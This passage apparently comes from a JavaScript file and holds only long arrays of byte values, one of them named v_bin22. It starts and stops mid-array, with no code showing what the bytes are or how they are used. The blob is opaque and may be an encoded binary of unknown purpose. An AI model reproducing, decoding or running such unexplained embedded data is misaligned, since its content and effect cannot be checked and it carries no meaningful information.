176,40,66,247,169,10,45,95,23,96,15,130,208,42,44,64,136,110,110,120,32,112,219,69,59,199,115,75,183,214,31,235,26,8,253,248,146,46,161,135,36,10,131,49,122,136,83,208,44,40,156,234,229,195,217,145,2,207,60,241,166,25,10,230,169,184,225,204,201,220,211,211,211,109,159,151,146,175,75,40,21,8,139,101,128,214,108,39,102,176,154,70,156,39,4,192,5,250,71,96,248,78,218,127,44,35,26,118,115,67,211,78,127,156,149,185,222,181,144,201,51,220,58,231,46,83,163,227,162,223,177,211,9,0,130,11,113,176,75,185,45,202,90,11,171,19,236,213,9,18,6,111,132,126,27,114,108,166,249,101,127,66,115,21,144,72,118,103,211,201,143,47,167,252,226,120,106,19,84,192,160,129,109,17,27,39,106,84,57,73,148,46,79,159,249,149,205,41,137,129,60,208,41,29,247,168,156,108,33,199,97,128,115,75,124,212,184,176,71,74,2,198,136,57,159,132,197,15,53,15,247,33,128,199,66,92,44,188,112,110,242,113,36,171,40,247,133,221,255,71,229,127,48,14,57,108,46,45,163,233,25,154,183,106,93,30,49,162,114,220,232,27,35,77,90,115,88,216,201,151,116,59,184,242,172,9,149,246,251,25,183,115,234,23,49,245,73,149,223,113,14,158,51,238,171,107,102,144,198,61,39,5,188,181,67,211,196,113,13,208,60,219,57,112,141,130,189,240,231,232,39,189,147,162,215,53,199,53,155,157,75,165,253,201,103,82,70,176,71,203,252,78,33,194,68,57,21,233,45,123,190,250,127,242,85,62,130,247,88,72,29,147,197,76,2,150,19,246,59,25,200,220,69,56,119,148,168,254,192,122,212,218,142,173,20,50,118,85,223,135,126,16,160,0,201,37,38,32,162,147,131,129,19,145,146,31,154,193,175,116,236,237,111,99,201,138,133,60,196,246,193,190,161,50,168,33,210,179,239,253,76,216,25,120,178,120,174,233,163,223,118,150,63,114,221,175,129,76,113,116,234,107,237,74,37,202,4,184,126,106,76,13,80,114,25,243,108,167,21,35,126,234,235,105,89,187,114,20,121,175,221,220,105,41,188,81,152,117,87,185,155,169,4,100,218,44,174,20,120,52,182,72,111,37,64,254,167,13,71,237,173,156,198,111,205,180,115,38,251,186,183,131,186,175,81,105,150,44,55,58,143,32,194,174,181,222,50,100,147,49,157,109,143,143,201,174,102,139,33,31,223,250,255,102,131,94,184,25,75,86,123,85,42,120,184,218,153,108,81,124,4,63,147,136,36,203,145,67,201,114,101,210,254,32,127,177,6,191,12,248,5,102,104,50,167,112,181,113,119,154,117,203,45,139,104,66,105,27,134,45,143,168,3,19,5,155,41,243,31,231,175,23,202,72,29,249,94,86,38,7,187,6,116,108,21,140,197,101,22,166,50,57,88,24,33,49,201,10,31,60,220,157,25,49,107,205,57,245,222,72,5,162,122,147,56,204,154,34,205,71,113,121,131,85,8,219,32,179,254,60,42,191,172,56,161,175,237,196,83,93,65,143,49,63,41,30,172,172,136,254,63,2,100,46,74,185,200,230,114,63,215,53,222,222,37,192,58,115,234,170,164,149,236,116,42,199,21,176,17,66,159,54,179,88,20,220,181,216,13,136,41,242,14,84,160,30,79,181,74,61,181,46,225,94,218,186,87,219,56,224,96,79,31,163,182,183,167,240,10,29,49,131,174,174,20,121,144,250,159,32,217,4,132,143,13,39,162,251,9,94,3,22,70,136,172,202,23,13,236,56,89,46,25,212,119,210,62,189,55,32,140,114,48,234,205,26,69,176,4,166,231,218,93,62,130,155,247,21,248,249,176,155,18,188,33,249,145,218,246,115,24,202,163,113,71,18,64,17,190,143,171,126,29,251,201,207,154,10,147,39,166,166,142,126,2,115,117,85,65,18,141,130,177,116,46,145,151,252,166,227,144,197,115,205,127,32,241,160,86,86,32,217,248,88,179,181,98,194,239,33,210,109,46,82,130,112,111,150,96,227,124,215,52,165,250,177,22,57,64,76,71,233,7,156,102,57,174,67,124,23,28,56,43,123,11,57,88,35,45,245,161,115,95,28,27,42,117,109,78,59,58,152,94,152,93,255,182,241,80,65,218,186,163,247,105,181,166,184,33,221,187,39,71,228,171,86,58,205,38,55,40,123,248,215,10,200,94,169,32,115,18,151,222,191,205,56,89,203,48,232,130,23,244,191,5,225,103,216,107,22,187,145,11,201,35,146,186,194,131,0,236,208,199,159,13,19,119,43,106,220,120,222,124,128,178,186,198,214,170,205,105,5,134,22,58,79,116,13,6,20,104,0,165,14,121,136,25,150,58,84,157,87,120,184,62,68,123,153,24,120,145,146,60,198,71,104,168,113,49,184,216,234,211,80,221,124,35,41,65,203,100,202,37,81,86,161,27,24,171,63,185,83,187,181,251,233,43,222,205,142,91,129,225,89,159,210,107,76,175,168,226,205,122,214,67,172,146,135,236,220,161,238,192,68,77,203,96,165,252,228,59,168,52,137,191,91,51,41,115,62,153,52,48,16,38,70,120,127,118,165,244,213,88,250,26,155,88,244,33,248,223,232,194,150,36,159,230,170,58,83,72,131,89,205,174,32,87,103,157,119,100,202,183,139,86,166,7,146,30,150,232,245,70,167,165,133,236,169,229,109,207,146,59,171,169,96,105,220,3,148,248,100,165,27,111,20,176,219,190,175,114,63,181,164,198,49,157,103,19,124,18,223,159,235,250,245,69,42,83,196,215,225,151,21,144,106,69,130,167,48,149,21,44,195,145,124,40,86,10,163,238,86,71,15,184,12,232,52,75,218,210,179,40,14,68,227,15,196,38,125,20,191,72,253,29,113,46,40,161,185,199,110,93,139,220,196,197,38,226,83,26,134,4,79,233,149,59,95,62,237,199,206,126,134,186,108,122,11,230,112,38,98,251,135,59,56,110,152,85,99,173,161,227,164,89,222,245,212,152,181,181,132,0,235,18,161,6,254,136,5,233,223,145,17,234,145,197,114,74,65,76,144,221,6,183,132,182,70,18,12,118,108,102,29,94,194,18,255,115,8,126,140,145,179,190,64,151,118,17,186,94,27,9,83,31,110,132,38,105,28,9,178,19,220,191,62,173,209,68,116,98,200,64,105,172,174,200,12,126,20,205,104,107,248,163,95,15,224,79,126,66,159,66,209,22,69,174,36,89,93,199,95,90,83,128,148,115,22,187,139,14,210,106,46,234,194,198,43,252,169,68,21,72,223,26,61,135,170,148,125,19,195,207,95,24,253,86,45,205,118,182,181,69,48,198,222,18,100,250,136,190,218,68,122,168,234,74,248,185,130,55,224,39,87,121,249,221,204,128,65,132,177,119,244,156,157,58,52,167,116,213,126,126,42,57,25,179,227,62,107,130,80,188,231,183,57,195,123,78,178,71];
var v_bin22 = [216,151,176,114,184,37,209,101,190,216,107,166,229,84,217,94,207,184,195,234,28,161,195,236,110,193,142,168,242,46,46,97,192,82,86,241,227,96,0,67,179,35,93,30,69,208,157,117,202,217,150,104,124,135,219,17,207,81,173,46,134,232,121,202,186,51,69,147,186,85,238,3,119,59,201,163,109,113,38,131,106,131,203,99,37,206,164,193,229,104,5,102,175,105,245,63,30,23,12,82,19,190,62,190,112,9,126,253,242,245,104,26,146,176,104,27,151,13,81,222,84,1,129,102,249,46,43,119,114,242,94,212,240,59,40,204,157,234,45,74,53,98,185,246,219,221,76,25,179,212,21,46,202,165,101,26,250,239,23,240,35,126,237,211,213,156,80,10,35,234,224,61,103,138,77,137,50,144,118,76,202,189,121,192,139,61,81,162,209,77,201,116,162,201,177,41,94,63,81,240,246,220,75,200,104,4,180,99,55,210,51,75,94,22,67,222,8,198,26,91,246,229,103,238,16,224,110,116,42,53,78,53,253,14,12,69,57,209,139,244,167,202,211,115,95,201,30,21,41,25,102,254,34,21,162,52,77,15,158,22,196,177,136,147,122,95,236,235,167,33,58,116,28,197,211,174,80,75,120,241,79,21,79,39,205,23,82,52,148,179,139,209,41,165,223,250,197,251,215,185,227,239,27,95,168,37,228,142,33,144,167,124,180,38,239,79,88,146,32,146,169,247,247,113,117,1,90,103,40,129,7,56,206,223,233,123,12,108,45,249,164,57,61,159,155,125,178,7,137,147,70,3,198,49,138,186,52,41,41,210,223,111,240,188,225,19,91,37,0,106,151,66,142,113,37,32,253,141,147,133,16,91,43,242,206,196,190,192,205,204,213,141,139,155,200,173,90,250,8,79,161,240,193,74,150,127,187,211,119,87,71,146,154,220,120,222,112,227,44,83,58,164,7,150,113,221,27,181,16,81,221,11,95,11,254,145,181,254,1,230,18,204,243,134,212,146,255,162,7,188,204,194,118,129,89,54,15,232,113,53,127,10,70,55,148,232,42,221,133,167,160,226,65,238,49,36,98,89,12,16,174,220,8,125,186,103,194,134,210,233,245,230,232,85,30,199,61,237,226,66,27,150,69,244,64,35,196,20,198,199,98,91,154,132,249,196,38,157,70,119,236,245,244,46,237,168,238,102,128,24,91,173,108,24,95,237,126,87,2,215,51,249,10,214,87,35,113,215,91,88,229,135,33,97,119,36,223,14,222,184,132,240,237,50,125,175,5,144,8,55,74,140,233,241,50,101,172,176,227,176,153,66,75,194,170,163,126,148,191,114,93,165,231,116,56,225,222,173,99,22,37,234,223,195,182,186,135,21,222,254,3,158,185,211,188,2,124,246,233,68,127,82,7,168,0,196,70,239,97,11,139,47,45,125,11,195,129,99,10,13,186,247,101,152,229,214,13,75,238,48,245,10,75,83,252,35,162,29,36,244,244,83,144,75,78,23,180,233,172,236,218,191,184,202,182,104,251,101,23,91,232,44,214,233,142,49,26,229,206,178,110,45,247,194,32,108,152,91,251,235,68,63,226,186,64,5,211,44,179,152,0,65,239,85,148,195,75,213,137,233,43,12,199,117,134,229,193,37,112,13,137,163,237,154,39,96,23,200,28,145,148,130,200,75,29,45,182,178,214,4,132,112,171,54,194,83,1,52,78,91,103,201,69,166,126,5,4,46,23,12,190,115,251,91,82,233,20,9,211,78,62,219,68,11,76,174,107,39,129,131,248,206,64,219,45,214,37,42,249,83,123,2,243,112,155,217,123,122,146,63,216,166,220,70,119,102,209,161,222,204,247,38,105,131,115,147,18,208,209,63,202,4,247,39,95,103,80,138,178,92,4,93,118,70,255,14,55,41,203,139,185,23,235,3,103,208,4,77,104,254,9,60,162,142,4,78,166,49,232,244,236,142,36,215,136,137,68,80,128,118,221,23,159,125,86,253,80,58,56,20,170,83,231,82,202,152,242,90,22,73,0,187,197,189,143,104,41,74,15,49,59,215,168,97,186,160,24,253,64,15,207,58,8,59,57,70,222,160,208,66,229,91,32,105,58,157,2,109,122,132,251,185,132,122,58,229,244,181,205,195,122,177,74,87,124,23,215,80,182,202,195,220,197,209,193,0,187,90,9,102,70,186,239,145,171,103,182,90,192,141,84,65,236,17,252,172,101,199,122,248,98,13,163,173,85,213,238,148,244,212,172,0,35,99,189,93,239,127,226,43,78,68,95,161,18,169,214,171,136,43,239,185,207,219,121,53,233,58,145,140,48,248,250,51,228,158,106,72,119,185,185,134,195,244,223,127,174,39,207,249,246,6,148,99,128,64,33,7,176,19,168,147,162,222,118,81,206,123,180,60,64,208,15,42,11,67,148,203,178,249,238,5,72,159,60,123,75,120,148,121,231,136,245,124,56,63,183,65,181,219,19,76,208,45,203,175,5,6,251,212,63,97,113,195,10,106,193,212,226,249,81,90,209,232,216,199,75,88,41,234,186,223,69,247,62,76,231,12,118,197,232,122,239,73,102,85,55,69,187,87,130,121,93,65,29,33,86,126,124,139,19,206,36,217,106,240,121,63,168,232,171,211,159,73,131,47,122,214,191,205,52,41,171,49,67,220,33,80,184,194,19,140,231,165,44,90,182,216,146,204,64,234,223,42,101,212,16,54,208,128,205,32,85,80,107,237,58,37,175,87,75,180,66,172,35,194,237,211,195,201,180,228,99,146,4,25,220,143,96,171,50,208,227,197,15,34,19,44,0,95,232,19,15,176,242,251,208,64,238,79,58,224,136,172,94,38,40,49,178,190,207,27,29,204,111,181,148,109,249,139,178,211,235,172,65,190,149,255,179,123,148,59,138,8,187,197,31,168,158,69,140,55,43,118,111,46,74,138,217,134,177,246,177,48,101,14,219,149,101,225,245,56,58,90,115,83,94,223,156,207,164,215,18,165,73,141,215,226,242,0,209,65,47,148,92,108,6,84,112,103,183,79,166,116,161,49,4,82,194,187,151,190,48,206,215,120,2,97,151,43,60,189,95,123,31,199,250,127,96,78,54,12,168,176,187,194,60,242,114,35,183,49,142,71,176,144,239,128,2,18,118,110,143,84,131,248,65,192,179,248,26,134,182,110,21,30,164,180,232,226,118,137,255,85,16,230,9,174,158,127,129,88,129,95,233,238,106,149,133,213,195,37,207,58,158,148,150,87,176,96,161,206,190,106,34,98,93,143,154,43,40,53,26,96,34,250,23,229,244,138,178,20,254,57,212,221,4,124,92,193,195,191,218,147,70,19,73,165,80,23,170,122,170,230,247,97,79,152,180,160,205,40,209,71,124,231,18,19,69,127,151,43,107,170,192,59,160,74,8,3,149,128,137,227,32,234,213,5,216,82,9,208,134,183,242,111,68,54,139,0,18,121,131,31,1,225,39,82,90,184,186,220,48,147,218,78,7,224,53,112,232,174,56,171,24,51,206,89,179,80,183,131,175,117,5,75,87,84,55,13,105,196,216,181,39,225,139,246,144,42,120,106,249,3,244,5,128,196,179,246,159,200,54,232,180,227,201,89,212,147,218,253,168,209,81,187,251,21,164,33,173,78,160,200,229,2,35,231,218,101,95,247,94,83,182,227,115,251,72,174,183,218,98,19,31,120,7,224,211,64,244,36,238,199,199,254,240,174,166,179,39,222,212,58,43,171,178,225,253,202,163,49,100,147,182,204,245,37,215,231,140,180,155,127,87,2,2,245,141,75,165,128,144,58,73,151,109,243,169,61,53,152,90,118,128,231,179,146,55,227,173,213,38,225,170,155,116,141,51,235,13,180,170,248,242,144,168,215,117,183,144,182,136,146,125,89,33,135,8,108,198,147,87,115,96,208,2,120,7,21,1,230,133,221,62,136,128,58,56,126,8,75,5,19,217,198,243,143,198,237,189,149,77,234,34,126,168,176,240,95,55,61,87,170,64,105,75,112,226,249,70,74,244,34,26,129,61,64,178,51,252,231,214,29,117,191,68,61,184,51,198,218,176,56,148,136,187,28,50,254,140,208,208,90,118,93,17,177,143,157,71,198,104,247,45,90,85,48,244,112,204,136,76,237,81,94,73,231,13,199,216,130,112,226,80,13,2,147,222,229,121,143,112,21,194,91,100,172,234,14,208,123,138,98,221,224,246,42,149,126,191,155,130,209,135,6,133,175,122,31,251,235,199,97,203,95,79,94,101,177,240,61,163,240,116,162,27,53,102,26,6,67,216,30,241,191,103,115,159,81,5,29,228,38,234,44,244,48,126,121,22,213,22,142,0,168,191,20,223,45,195,150,73,189,51,190,72,45,246,175,235,228,193,217,162,255,76,88,51,147,60,17,213,10,124,255,4,181,136,193,89,182,4,35,161,104,105,207,24,69,201,223,186,234,172,247,94,4,156,159,244,156,118,205,198,155,122,37,115,23,227,241,186,184,79,80,213,13,231,191,116,50,192,224,2,153,49,121,15,29,141,31,145,113,244,39,121,99,248,31,91,139,227,88,173,246,209,185,160,201,73,207,216,93,242,219,178,234,172,37,2,189,184,93,215,78,34,88,104,154,176,159,2,161,125,140,242,113,94,172,243,177,180,171,124,92,48,94,108,83,66,162,46,212,227,147,204,168,212,71,241,17,117,233,84,49,132,149,167,151,156,187,105,25,82,208,32,196,230,84,178,140,29,161,44,160,17,109,170,207,49,23,143,201,40,141,67,33,7,237,173,121,240,170,197,173,189,97,92,57,37,212,221,57,114,93,155,66,144,21,132,126,204,56,137,38,189,191,68,38,56,215,200,31,224,54,206,204,49,235,246,215,223,20,158,154,117,242,118,96,141,126,191,78,161,124,179,169,3,123,50,113,96,22,37,144,106,117,91,254,224,145,233,166,108,229,27,215,155,134,214,67,119,235,18,86,179,163,127,18,170,230,180,1,252,80,45,196,120,170,11,65,68,19,242,114,161,88,106,47,192,82,115,92,168,204,18,221,87,235,69,146,40,225,145,94,211,139,210,100,26,235,235,51,195,171,178,5,72,130,39,116,230,81,206,181,48,105,186,0,67,132,87,210,215,132,38,126,253,118,85,154,195,143,38,149,150,29,144,50,225,237,242,108,242,225,225,69,196,194,6,45,225,125,5,130,121,124,0,0,66,105,42,181,19,27,250,222,139,188,121,208,129,77,11,243,253,84,198,142,185,93,185,157,59,209,180,243,0,19,197,135,193,67,75,45,245,53,254,148,141,208,190,150,45,23,162,105,172,104,78,129,108,62,92,238,221,180,77,132,19,132,187,164,50,108,95,112,205,242,183,143,237,84,42,242,135,42,175,47,241,119,109,196,48,232,123,183,119,35,175,123,209,147,252,235,238,238,142,208,206,210,246,209,24,239,98,40,6,114,20,41,253,158,24,226,85,58,23,99,235,9,72,247,208,255,100,158,65,252,101,233,103,239,7,228,150,51,75,134,26,213,28,72,151,204,33,162,177,25,171,58,209,143,109,252,114,151,41,240,207,111,102,154,142,218,188,210,119,109,176,198,240,77,33,50,251,181,19,154,94,103,1,208,76,133,8,11,205,127,182,88,206,44,126,126,50,233,1,181,43,38,154,50,85,249,23,24,183,58,137,138,89,70,163,166,10,107,27,68,83,21,153,246,186,122,77,7,189,129,55,42,129,114,175,230,77,254,60,184,149,237,217,109,62,38,27,210,187,7,167,198,247,61,229,189,9,97,49,103,60,18,8,239,242,96,51,147,231,60,154,183,0,180,170,6,222,63,92,97,163,215,56,149,136,164,253,111,19,54,201,20,22,123,48,185,237,164,24,36,107,90,135,6,36,201,183,56,94,63,162,83,94,61,16,136,57,217,193,202,187,85,22,39,205,97,245,13,184,121,229,61,148,238,217,111,236,83,20,149,132,79,136,24,187,156,130,37,69,153,218,120,68,80,53,173,197,23,244,137,238,25,183,1,148,88,98,130,96,228,43,34,105,159,57,66,172,72,175,148,122,39,250,83,41,153,118,35,182,232,55,140,45,243,162,31,214,141,78,214,84,93,49,223,141,30,14,131,72,171,208,30,58,226,99,168,227,119,206,130,46,146,61,230,34,41,235,237,34,131,133,189,191,51,59,84,129,159,44,3,105,246,157,3,18,73,87,23,255,122,0,192,113,112,179,49,82,183,43,87,12,75,110,105,54,226,159,129,84,28,146,27,186,221,148,87,142,7,21,103,81,243,177,131,232,30,58,104,112,110,75,142,168,25,125,132,105,19,73,215,96,106,152,215,61,129,158,46,24,63,169,126,95,207,49,124,224,242,66,142,77,24,185,193,235,207,120,121,181,58,127,125,71,129,109,216,250,103,238,36,3,213,31,222,50,151,88,187,166,143,205,251,76,19,162,184,71,197,122,217,3,97,1,3,176,193,229,15,96,84,255,229,22,117,11,152,103,121,240,184,51,119,121,181,106,232,238,243,234,57,129,140,116,249,185,199,52,222,180,213,248,35,190,50,158,66,124,65,107,136,141,231,56,172,124,79,209,92,51,33,232,223,49,115,132,158,195,89,170,241,240,119,254,180,133,52,192,158,199,111,29,35,185,92,193,212,131,156,161,44,217,177,170,222,175,240,112,74,104,184,245,20,80,75,0,68,5,249,70,138,47,35,231,153,82,2,243,247,100,48,180,4,187,249,168,177,69,7,15,70,203,234,226,123,110,245,28,92,187,167,245,44,192,164,160,197,30,56,110,124,130,231,132,133,79,242,79,91,50,229,121,127,194,72,157,189,110,226,109,79,178,94,51,68,35,122,101,111,7,25,124,252,20,219,151,19,97,159,209,170,47,174,185,240,38,86,153,116,142,80,223,190,135,179,86,169,24,77,187,129,198,49,128,10,157,79,120,65,199,41,216,32,62,114,220,118,71,24,216,97,49,174,147,229,245,68,173,198,90,70,175,45,120,40,212,192,88,111,38,132,203,152,252,162,225,2,178,203,70,30,90,140,30,152,59,17,81,59,195,254,78,148,222,94,213,162,104,221,57,17,235,42,239,27,247,200,188,155,126,108,233,234,20,54,212,123,137,136,199,169,209,36,227,148,178,72,204,107,153,225,78,207,76,214,196,196,40,143,225,2,65,163,166,197,227,148,87,196,10,94,0,75,128,47,245,54,99,95,57,34,133,237,171,56,25,217,0,142,11,195,82,62,142,114,105,250,179,10,242,5,83,78,229,105,0,24,201,219,129,116,71,204,243,188,197,191,135,65,158,70,106,166,245,190,6,54,78,91,208,112,73,161,44,151,206,164,133,49,30,100,179,209,216,87,55,228,1,170,230,228,46,169,3,115,25,109,243,55,127,247,98,154,3,51,239,136,53,98,102,211,75,10,51,60,60,135,157,142,122,98,35,83,221,1,90,141,124,93,205,58,211,154,34,26,251,31,91,212,207,140,172,129,38,247,73,166,4,109,10,168,248,148,89,70,166,253,81,165,126,184,142,102,61,212,182,131,251,80,190,33,237,153,41,38,126,82,56,110,135,165,81,212,2,35,249,132,23,126,58,23,106,188,113,40,55,206,221,205,94,188,210,151,56,246,213,213,4,219,184,80,52,218,51,167,130,179,145,140,98,132,181,209,8,142,205,127,244,179,153,214,250,96,4,206,0,134,234,23,229,165,196,215,22,134,134,254,207,137,211,234,43,183,16,150,79,18,154,82,142,212,243,19,97,22,211,241,86,196,214,187,22,69,155,26,235,54,9,231,10,156,162,95,46,223,250,137,25,168,186,84,125,10,30,225,36,72,130,180,117,62,109,9,60,213,151,46,215,93,187,90,187,253,55,18,231,128,234,167,209,16,117,218,8,79,62,252,168,12,179,100,34,71,63,13,123,183,69,208,97,3,228,149,220,59,106,160,174,59,163,219,73,140,95,193,176,164,165,89,19,182,180,190,74,218,46,92,88,0,123,41,144,235,200,211,254,146,174,124,155,111,3,233,234,79,94,107,91,162,221,160,152,14,51,26,17,61,57,246,0,174,213,22,128,74,15,151,179,17,28,249,247,106,182,74,114,221,104,183,205,98,87,115,218,226,154,225,246,96,63,36,207,65,161,90,40,126,126,3,193,243,58,114,254,114,6,197,190,31,214,228,172,10,244,4,199,100,203,132,135,113,180,120,196,116,92,96,45,89,171,182,244,24,221,4,3,29,51,212,210,253,231,130,224,154,155,31,210,111,53,248,50,145,110,169,202,81,150,210,151,79,108,174,67,66,53,186,68,154,196,169,201,6,14,25,31,183,132,124,80,149,212,113,174,230,195,200,213,247,231,8,127,50,201,80,3,183,217,63,85,65,154,45,141,83,23,226,232,186,236,193,37,20,52,235,177,117,180,10,21,58,161,88,85,195,95,60,35,130,64,46,146,102,187,133,73,204,164,121,212,201,49,114,121,219,38,238,132,182,110,255,83,249,251,81,137,248,216,83,133,140,101,95,46,188,44,55,11,75,107,142,3,194,104,202,147,145,108,111,111,128,202,86,36,151,17,250,41,100,226,41,196,247,8,188,109,146,62,94,143,254,182,228,101,121,194,208,9,163,167,40,248,163,34,234,41,35,189,20,166,134,2,2,131,174,184,19,237,3,145,164,123,186,119,96,210,125,127,32,185,119,108,232,219,50,77,204,20,175,207,161,99,143,7,176,151,15,20,127,62,19,33,127,107,4,22,70,215,170,150,162,167,105,20,16,10,79,213,107,73,74,62,51,112,211,225,126,84,35,114,46,95,15,229,226,41,118,72,206,93,38,218,1,255,94,173,228,170,212,30,209,94,109,74,176,230,166,126,36,162,97,253,59,33,237,30,26,37,100,19,98,7,7,101,15,34,253,198,14,238,236,236,80,66,197,222,167,206,249,147,109,178,128,75,117,209,208,105,53,210,16,5,57,180,72,67,38,229,176,236,230,248,42,75,115,15,104,124,110,59,25,36,62,234,28,8,18,17,30,210,11,20,245,38,28,224,35,130,68,203,192,246,3,86,181,136,126,208,18,17,112,208,97,235,136,176,106,48,25,34,202,143,144,90,157,218,93,230,222,206,157,70,229,229,65,193,233,194,15,204,91,249,88,32,5,73,150,59,171,168,120,234,75,61,207,229,8,108,112,252,199,153,114,136,73,195,23,141,108,115,122,27,41,81,91,103,109,243,67,108,11,160,159,15,246,139,137,110,240,228,158,122,202,131,124,216,47,180,127,87,203,114,233,201,38,231,239,12,145,166,239,203,185,251,93,88,188,226,62,203,143,109,23,88,75,60,1,100,72,133,20,71,213,58,77,13,160,216,145,52,13,14,6,154,0,163,214,211,107,123,58,154,0,36,169,70,179,75,0,46,163,184,147,105,69,12,47,173,125,242,102,67,72,54,65,98,225,18,44,2,62,92,93,62,91,65,84,23,246,59,49,172,51,33,108,227,253,163,248,111,135,251,178,241,183,97,19,220,65,219,121,169,106,158,201,226,183,140,219,45,103,119,95,207,137,153,194,120,212,250,37,129,6,75,107,250,171,77,253,72,38,32,44,228,136,25,101,38,169,36,251,163,207,100,67,101,200,175,151,234,10,240,214,49,51,37,151,57,80,131,107,188,9,239,73,196,212,88,232,148,231,209,107,31,200,235,242,187,214,247,84,30,63,247,158,139,114,158,139,11,124,242,31,244,61,141,163,100,141,28,121,115,128,34,11,42,206,201,6,166,207,137,56,15,18,79,132,212,247,140,226,85,183,104,116,13,192,141,76,146,119,222,122,182,121,253,30,1,79,230,172,239,251,126,188,20,14,6,126,103,109,228,74,103,71,129,246,179,186,114,173,170,242,33,202,158,56,7,200,18,159,183,180,61,60,204,191,219,119,103,24,24,160,158,208,113,35,103,186,90,128,169,252,0,148,6,246,201,13,155,154,61,72,82,181,213,178,203,173,155,98,113,124,125,64,182,152,132,52,95,114,2,73,95,86,52,104,241,104,125,70,253,50,78,174,220,226,31,42,80,85,90,186,31,133,33,60,218,72,108,95,12,109,227,52,155,80,223,225,175,207,98,249,218,197,103,170,197,0,164,27,252,171,99,133,33,62,242,171,168,202,175,22,48,231,7,56,191,96,205,139,154,154,92,143,233,38,186,29,204,125,134,161,123,252,52,21,41,39,37,120,251,1,214,214,49,201,180,182,8,203,124,150,21,32,34,155,200,102,175,41,120,149,77,137,249,212,116,21,118,66,51,55,191,35,238,253,39,84,122,127,144,244,137,40,153,172,83,93,95,137,232,151,162,143,254,246,197,146,241,69,53,102,15,214,39,162,195,213,191,221,17,11,55,184,96,226,176,14,226,218,197,123,118,46,120,168,47,134,150,91,113,68,250,176,5,42,204,10,138,126,88,59,221,172,245,239,195,54,107,37,71,231,78,110,33,202,153,161,166,244,121,200,82,233,193,7,49,204,86,23,93,123,186,227,63,199,144,113,119,207,246,110,219,245,141,67,231,156,60,228,114,249,123,63,229,17,9,119,0,124,248,169,164,214,24,211,218,90,182,56,58,185,182,70,131,222,46,249,51,201,80,190,214,196,100,66,251,176,87,10,105,244,62,109,170,77,226,125,136,183,40,112,76,130,163,192,158,248,230,59,172,139,243,54,185,26,118,27,200,148,64,251,85,208,134,9,13,189,211,202,49,71,91,105,100,162,123,9,218,181,143,73,78,44,63,223,125,125,63,61,217,229,54,96,115,195,7,124,148,40,201,82,188,52,185,53,235,194,252,206,215,125,230,179,171,78,44,184,108,50,149,129,120,65,49,204,201,195,68,1,187,123,11,252,170,184,46,11,10,117,43,84,141,24,136,110,35,189,152,149,1,65,145,126,143,193,175,50,60,157,184,246,166,160,61,210,92,174,53,83,147,106,25,77,13,254,59,192,127,116,212,173,169,175,145,218,204,128,111,46,54,228,221,40,147,134,116,148,60,221,205,234,188,198,164,53,33,54,30,233,201,140,105,132,85,246,230,254,114,229,89,82,244,255,215,77,237,191,189,109,90,20,170,185,142,203,11,180,42,86,176,7,99,6,201,245,103,11,207,167,236,156,210,210,104,220,113,94,157,154,137,95,152,104,215,101,105,127,123,6,208,237,224,53,2,98,88,139,100,13,219,0,214,58,252,102,131,110,217,142,31,250,200,186,42,139,73,82,189,25,1,171,143,64,184,46,34,189,17,52,87,151,209,215,223,95,70,141,88,32,214,7,116,187,211,22,249,195,228,94,224,145,80,38,161,82,251,98,249,57,243,255,93,46,142,39,136,18,115,25,107,194,201,251,149,204,138,121,191,41,208,135,5,98,147,234,200,236,205,151,84,49,17,221,217,190,90,152,25,160,44,207,66,149,32,47,204,114,149,82,35,86,200,83,63,161,57,178,101,230,175,191,195,90,15,63,78,93,168,110,245,141,140,67,31,24,73,132,229,2,43,137,86,17,66,183,23,95,121,212,207,59,203,157,250,31,54,213,177,150,22,64,6,222,15,131,206,91,2,112,222,76,29,43,54,211,138,133,231,128,209,227,37,5,148,80,11,159,74,52,200,239,67,233,210,50,157,231,214,108,228,155,238,216,217,245,194,124,182,106,24,29,107,90,54,196,133,177,89,154,192,218,59,148,89,205,227,145,129,164,67,56,122,74,229,105,119,180,121,162,4,152,39,252,245,94,247,157,107,111,35,127,191,69,182,87,145,136,20,201,26,47,62,202,119,141,2,219,41,87,3,228,148,103,56,164,124,4,78,199,246,21,98,220,241,174,11,153,125,225,66,103,130,96,149,147,58,199,97,148,49,171,113,129,194,138,235,175,5,213,170,177,44,150,170,90,154,201,187,152,157,53,100,255,241,12,156,83,114,116,18,56,113,207,223,72,116,46,205,118,234,250,46,185,194,144,149,55,4,123,224,175,27,79,161,203,92,227,166,165,138,250,127,29,172,165,79,85,48,40,145,220,61,11,148,81,27,117,69,65,244,116,53,209,122,186,118,95,73,214,137,126,244,124,127,11,17,128,33,164,234,190,59,218,170,10,68,157,218,22,128,188,244,39,14,76,3,253,99,62,51,174,194,204,141,123,56,113,53,149,124,138,114,12,18,146,39,190,59,66,200,165,217,114,89,9,207,218,65,156,150,172,25,127,28,249,207,82,120,69,194,140,39,161,214,46,25,222,49,254,168,83,187,234,177,247,40,158,240,233,8,157,189,157,138,211,24,249,40,149,191,38,193,150,180,9,226,191,55,34,117,247,25,235,12,241,180,144,101,63,56,171,180,24,136,84,158,219,119,181,68,107,93,120,249,87,84,117,237,197,154,252,12,227,51,79,140,193,99,255,62,30,181,220,78,68,1,246,172,203,177,245,178,139,126,243,150,131,10,249,130,132,205,209,84,92,15,241,132,96,162,35,7,78,208,91,224,196,46,95,172,9,244,110,243,91,225,34,121,99,148,4,126,254,12,24,195,132,143,194,41,42,16,185,80,74,124,170,102,233,76,14,247,66,165,89,2,134,39,225,114,105,39,4,232,5,236,118,195,26,235,26,118,96,120,164,117,131,211,197,221,254,149,234,57,75,100,241,233,103,77,124,111,208,146,68,202,193,200,0,1,1,145,27,38,239,80,139,70,181,214,44,6,103,118,103,219,149,254,130,247,59,84,175,254,43,18,29,202,85,89,52,173,94,187,213,235,185,35,3,39,60,115,251,95,166,209,157,51,236,106,112,58,171,171,140,208,74,134,18,132,7,12,197,221,184,17,105,67,148,243,159,214,64,121,93,106,72,231,46,101,146,102,88,61,231,69,105,210,109,159,34,252,101,46,222,172,140,12,146,97,95,94,5,171,252,157,161,106,151,228,159,247,66,9,142,152,93,174,56,5,244,54,255,100,160,18,132,101,74,226,63,162,174,214,177,124,61,218,131,18,139,162,78,74,116,45,108,37,180,230,194,124,187,206,185,192,147,114,241,15,141,32,73,151,197,215,42,128,230,16,55,247,200,231,246,49,247,91,128,113,141,43,34,64,192,109,162,111,35,119,74,160,16,187,114,161,235,229,205,161,195,101,203,228,206,53,125,131,46,94,202,216,81,186,76,231,39,215,244,24,64,217,195,2,131,30,125,118,170,175,224,138,180,107,208,198,2,70,20,21,209,252,224,123,115,212,93,96,190,111,190,60,235,244,215,212,207,134,143,73,151,22,14,133,85,178,6,225,250,199,16,23,10,